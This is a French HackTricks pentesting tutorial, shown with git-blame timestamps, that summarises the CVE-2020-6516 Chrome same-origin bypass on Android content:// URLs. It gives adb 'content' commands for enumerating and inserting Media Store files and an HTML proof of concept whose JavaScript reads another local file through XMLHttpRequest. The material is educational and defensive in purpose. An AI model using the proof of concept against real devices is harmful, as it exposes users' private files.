hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md

102 lines
6.2 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Autres façons de soutenir HackTricks :
2022-04-28 16:01:33 +00:00
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
2022-04-28 16:01:33 +00:00
</details>
**Il s'agit d'un résumé de l'article [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
### Listing des fichiers dans le Media Store
Pour lister les fichiers gérés par le Media Store, la commande ci-dessous peut être utilisée :
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file
```
Pour une sortie plus conviviale, affichez uniquement l'identifiant et le chemin de chaque fichier indexé :
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
Les fournisseurs de contenu sont isolés dans leur propre espace de noms privé. L'accès à un fournisseur nécessite l'URI spécifique `content://`. Les informations sur les chemins d'accès à un fournisseur peuvent être obtenues à partir des manifestes d'application ou du code source du framework Android.
### Accès de Chrome aux fournisseurs de contenu
Chrome sur Android peut accéder aux fournisseurs de contenu via le schéma `content://`, lui permettant d'accéder à des ressources telles que des photos ou des documents exportés par des applications tierces. Pour illustrer cela, un fichier peut être inséré dans le Media Store, puis accédé via Chrome :
2021-05-04 11:44:49 +00:00
Insérer une entrée personnalisée dans le Media Store :
2021-05-04 11:44:49 +00:00
```bash
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
2021-05-04 11:44:49 +00:00
```
Découvrez l'identifiant du fichier nouvellement inséré :
2021-05-04 11:44:49 +00:00
```bash
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
2021-05-04 11:44:49 +00:00
```
Le fichier peut ensuite être consulté dans Chrome en utilisant une URL construite avec l'identifiant du fichier.
2021-05-04 11:44:49 +00:00
Par exemple, pour répertorier les fichiers liés à une application spécifique :
2021-05-04 11:44:49 +00:00
```bash
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
2021-05-04 11:44:49 +00:00
```
### Chrome CVE-2020-6516: Contournement de la politique de même origine
2021-05-04 11:44:49 +00:00
La _Politique de Même Origine_ (SOP) est un protocole de sécurité dans les navigateurs qui restreint les pages web à interagir avec des ressources provenant de différentes origines, sauf si explicitement autorisé par une politique de partage de ressources entre origines (CORS). Cette politique vise à prévenir les fuites d'informations et les attaques de falsification de requêtes inter-sites. Chrome considère `content://` comme un schéma local, impliquant des règles SOP plus strictes, où chaque URL de schéma local est traitée comme une origine distincte.
2021-05-04 11:44:49 +00:00
Cependant, CVE-2020-6516 était une vulnérabilité dans Chrome qui permettait de contourner les règles SOP pour les ressources chargées via une URL `content://`. En pratique, le code JavaScript d'une URL `content://` pouvait accéder à d'autres ressources chargées via des URL `content://`, ce qui constituait une préoccupation majeure en termes de sécurité, notamment sur les appareils Android exécutant des versions antérieures à Android 10, où le stockage ciblé n'était pas implémenté.
2021-05-04 11:44:49 +00:00
Le concept de preuve ci-dessous démontre cette vulnérabilité, où un document HTML, après avoir été téléchargé sous **/sdcard** et ajouté au Media Store, utilise `XMLHttpRequest` dans son JavaScript pour accéder et afficher le contenu d'un autre fichier dans le Media Store, contournant les règles SOP.
2021-05-04 11:44:49 +00:00
Concept de preuve HTML:
```xml
2021-05-04 11:44:49 +00:00
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
2021-05-04 11:44:49 +00:00
</head>
<body onload="poc()"></body>
</html>
```
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
D'autres façons de soutenir HackTricks :
2022-04-28 16:01:33 +00:00
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>